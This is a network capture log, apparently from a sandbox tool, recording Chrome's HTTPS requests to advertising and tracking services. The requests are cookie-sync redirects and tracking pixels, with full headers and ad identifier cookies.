Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.6	50429	198.47.127.19	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	790	OUT	GET /AdServer/UCookieSetPug?rd=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dpubmatic.com%26id%3D%23PM_USER_ID HTTP/1.1 Host: image6.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KRTBCOOKIE_290=23261-8HqdmD-3T2Kfc3JXiy0NuQ&KRTB&23219-8HqdmD-3T2Kfc3JXiy0NuQ&KRTB&23561-8HqdmD-3T2Kfc3JXiy0NuQ; PugT=1716590786
2024-05-24 22:46:32 UTC	499	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=UTF-8 Location: https://s.amazon-adsystem.com/ecm3?ex=pubmatic.com&id=B19A8DF4-8C37-4A90-8417-78FD8ED98100 P3p: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Set-Cookie: KADUSERCOOKIE=B19A8DF4-8C37-4A90-8417-78FD8ED98100; domain=pubmatic.com; path=/; max-age=31536000; SameSite=None; secure; Date: Fri, 24 May 2024 22:46:31 GMT Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
436	192.168.2.6	50432	192.132.33.68	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	1499	OUT	GET /engagement/event?input=%7B%22globalId%22%3A%220b31c55f-287d-4370-a8d9-98e50fdf2aed%22%2C%22creativeId%22%3A%22%22%2C%22placementId%22%3A%22%22%2C%22goalId%22%3A%2215654%22%2C%22sessionId%22%3A%22f46e0e56-6062-4c7b-bbc6-b6f1e2e28664%22%2C%22parentPublisherId%22%3A%22%22%2C%22publisherId%22%3A%22%22%2C%22siteId%22%3A%22%22%2C%22commonId%22%3A%22%22%2C%22heartbeat%22%3A3%2C%22url%22%3A%22https%3A%2F%2F9749892.fls.doubleclick.net%2Factivityi%3Bdc_pre%3DCNvcm_yup4YDFUlzQQId92gD5Q%3Bsrc%3D9749892%3Btype%3Dgener0%3Bcat%3Dnfcu_000%3Bord%3D6875800667488%3Bnpa%3D0%3Bauiddc%3D1380165631.1716590754%3Bps%3D1%3Bpcor%3D1576649674%3Buaa%3Dx86%3Buab%3D64%3Buafvl%3DGoogle%252520Chrome%253B117.0.5938.134%257CNot%25253BA%25253DBrand%253B8.0.0.0%257CChromium%253B117.0.5938.134%3Buamb%3D0%3Buam%3D%3Buap%3DWindows%3Buapv%3D10.0.0%3Buaw%3D0%3Bpscdl%3Dnoapi%3Bfrm%3D0%3Bgtm%3D45fe45m0za200%3Bgcd%3D13l3l3l3l1%3Bdma%3D0%3Bepver%3D2%3B~oref%3Dhttps%253A%252F%252Fwww.navyfederal.org%252Fbranches-atms.html%3F%22%2C%22fingerprint%22%3A [TRUNCATED] Host: bttrack.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1
2024-05-24 22:46:32 UTC	484	IN	HTTP/1.1 200 OK Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/plain Expires: -1 Access-Control-Allow-Origin: * Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJ3_EGJz4AHMFJ9T7D3E4nQyxIEOOQb5oiA66qvuxm2bXmopXIWr2S4rHQ5QC4TM1; domain=.bttrack.com; expires=Thu, 22-Aug-2024 22:46:03 GMT; path=/; secure; SameSite=None X-ServerName: Track001-iad Date: Fri, 24 May 2024 22:46:02 GMT Connection: close Content-Length: 0 Strict-Transport-Security: max-age=31536000;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
437	192.168.2.6	50435	50.57.31.206	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:31 UTC	644	OUT	GET /amazon/1/get?_url=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsemasio%26id%3D%24%7BUIPID%28%29%7D HTTP/1.1 Host: uipus.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:32 UTC	675	IN	HTTP/1.1 302 Found Location: /amazon/1/get2?_url=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsemasio%26id%3D%24%7BUIPID%28%29%7D UIP-Response-Status: Ok Frontend-ID: 15 Set-Cookie: SEUNCY=27F9076E5F83992F; Expires=Sat, 24 May 2025 22:46:32 GMT; Path=/; Domain=.semasio.net; SameSite=None; HttpOnly; Secure Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan 2011 12:00:00 GMT P3P: policyref="http://uip.semasio.net/w3c/p3p.xml", CP="NOI PSAa PSDa OUR IND UNI CNT" Pragma: no-cache Connection: close Date: Fri, 24 May 2024 22:46:32 GMT Content-Length: 0 Routing-Server-ID: -1 Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
438	192.168.2.6	50434	18.239.67.100	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:32 UTC	1194	OUT	GET /universal_pixel.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" If-None-Match: "2775054c068b37509e0798448f7fd32c" If-Modified-Since: Mon, 20 May 2024 07:02:14 GMT sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCP7utdWqk_48EAUSFQoGZ29vZ2xlEgsI9tvE_srl-zwQBRIWCgdibHVla2FpEgsI-L6FiKuT_jwQBRIUCgV0YXBhZBILCJbLicGrk_48EAUSFgoHbGh3Yms1ORILCJjticGrk_48EAUSFgoHeWpuMGd1cBILCKSTisGrk_48EAUSFgoHYWRkdGhpcxILCOrul9Crk_48EAUSGAoJYWRhZHZpc29yEgsIzJOY0KuT_jwQBRIVCgZjYXNhbGUSCwjauJjQq5P-PBAFEhYKB3N2eDl0NTASCwjq4bW1rJP-PBAFEhkKCmxpdmVpbnRlbnQSCwj4kra1rJP-PBAFEhYKB3VlZDNrdnISCwimxba1rJP-PBAFGAUoAzILCJ6juOLCk_48EAU4AUIEIgIIAVoHcGNsOGJpeWAB
2024-05-24 22:46:32 UTC	460	IN	HTTP/1.1 304 Not Modified Connection: close Last-Modified: Mon, 20 May 2024 07:02:14 GMT x-amz-server-side-encryption: AES256 Server: AmazonS3 Date: Fri, 24 May 2024 04:52:22 GMT ETag: "2775054c068b37509e0798448f7fd32c" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 dc216c6741e47caf45c9d347f1061c8e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS58-P4 X-Amz-Cf-Id: rs_7_HnQ8Xm-YgNB04M3Eo1C87HB03SZ6_dIUOOsonnJNtJb4mEHgg== Age: 64451

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
439	192.168.2.6	50439	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:32 UTC	445	OUT	GET /ecm3?ex=tripleliftHMT&id=4311655648632522917084 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:32 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: QKRJQCKZZPCPA97Z1FA8 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
440	192.168.2.6	50438	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:32 UTC	682	OUT	GET /ecm3?ex=ispot.tv&id=cd4bb81c5af2823972102b0e8a49c3dda4be936e993458582b7ce95187509bcd HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:32 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: ZW2NA7HQ6E0E9M2G851G Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.6	50440	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:32 UTC	654	OUT	GET /ecm3?ex=comscore.com&id=f6a32d2159cd843527c203721a6aa167 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:32 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: WVEJMEHSTHM9BAJ52KV2 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.6	50441	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:32 UTC	630	OUT	GET /ecm3?ex=googleHMT&google_error=3 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:32 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 2XNZM41ES5R74KKK8184 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.6	50443	52.46.151.131	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:32 UTC	658	OUT	GET /ecm3?ex=pubmatic.com&id=B19A8DF4-8C37-4A90-8417-78FD8ED98100 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:32 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: R66N5BJ2PEPTVWNQWGHJ Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.6	50442	50.57.31.206	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:32 UTC	678	OUT	GET /amazon/1/get2?_url=https%3A%2F%2Fs.amazon-adsystem.com%2Fecm3%3Fex%3Dsemasio%26id%3D%24%7BUIPID%28%29%7D HTTP/1.1 Host: uipus.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SEUNCY=27F9076E5F83992F
2024-05-24 22:46:32 UTC	634	IN	HTTP/1.1 302 Found Location: https://s.amazon-adsystem.com/ecm3?ex=semasio&id=27F9076E5F83992F UIP-Response-Status: Ok Frontend-ID: 2 Set-Cookie: SEUNCY=27F9076E5F83992F; Expires=Sat, 24 May 2025 22:46:32 GMT; Path=/; Domain=.semasio.net; SameSite=None; HttpOnly; Secure Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan 2011 12:00:00 GMT P3P: policyref="http://uip.semasio.net/w3c/p3p.xml", CP="NOI PSAa PSDa OUR IND UNI CNT" Pragma: no-cache Connection: close Date: Fri, 24 May 2024 22:46:32 GMT Content-Length: 0 Routing-Server-ID: -1 Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.6	50444	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:32 UTC	438	OUT	GET /ecm3?ex=mediarithmics&id=vec-89513437004 HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:32 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 3SFXWECTK4E9S0VN0YXQ Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.6	50446	54.242.45.75	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:33 UTC	908	OUT	GET /s/35759?bidder_id=44489&bidder_uuid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&cb=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dliveintent HTTP/1.1 Host: i.liadm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _li_ss=CgsKCQj_____BxCJGA; lidid=70344332-7801-4475-9af2-802d8d6e72cf
2024-05-24 22:46:33 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:33 GMT Content-Type: image/gif Content-Length: 43 Connection: close Set-Cookie: _li_ss=CgsKCQj_____BxCJGA; Max-Age=2592000; Expires=Sun, 23 Jun 2024 22:46:33 GMT; SameSite=None; Path=/s; Secure Set-Cookie: lidid=70344332-7801-4475-9af2-802d8d6e72cf; Max-Age=63072000; Expires=Sun, 24 May 2026 22:46:33 GMT; SameSite=None; Path=/; Domain=liadm.com; Secure Request-Time: 0 Cache-Control: no-store Strict-Transport-Security: max-age=31536000; includeSubDomains
2024-05-24 22:46:33 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.6	50445	76.223.111.18	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:33 UTC	900	OUT	GET /xuid?mid=3658&xuid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&dongle=0cfd&gdpr=0&gdpr_consent=&redir=https://match.adsrvr.org/track/cmf/generic?ttd_pid=svx9t50 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=4311655648632522917084; tluid=4311655648632522917084
2024-05-24 22:46:33 UTC	612	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:33 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4311655648632522917084; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:33 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4311655648632522917084; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:33 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-24 22:46:33 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.6	50447	104.17.127.254	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:33 UTC	747	OUT	GET /6d78f32846d8648c/sync.gif?fck=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1 Host: dmp.truoptik.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:33 UTC	785	IN	HTTP/1.1 204 No Content Date: Fri, 24 May 2024 22:46:33 GMT Connection: close Set-Cookie: to_master_s=c77fdb48e3799a3a90176d8c5259bc22; Expires=Sat, 24-May-25 22:46:33 GMT; Max-Age=31536000; Domain=.truoptik.com; Path=/; Secure; SameSite=None Set-Cookie: to_version_s=b2; Expires=Sat, 24-May-25 22:46:33 GMT; Max-Age=31536000; Domain=.truoptik.com; Path=/; Secure; SameSite=None TO-DMP-Sync: s3a-dmp-use1-aws.truoptik.com User-Agent: Tru Optik DMP 1.3.1 Cache-Control: no-store Expires: 0 Pragma: no-cache Access-Control-Allow-Origin: * X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8890d28938907d14-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.6	50449	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:33 UTC	482	OUT	GET /ecm3?ex=ispot.tv&id=cd4bb81c5af2823972102b0e8a49c3dda4be936e993458582b7ce95187509bcd HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A6lBlTNjtEB5i6HYi1ibCmw; ad-privacy=0
2024-05-24 22:46:33 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Fri, 24 May 2024 22:46:33 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 33JNF9V93HS0PABGA1K9 Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-05-24 22:46:33 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.6	50448	52.46.130.91	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

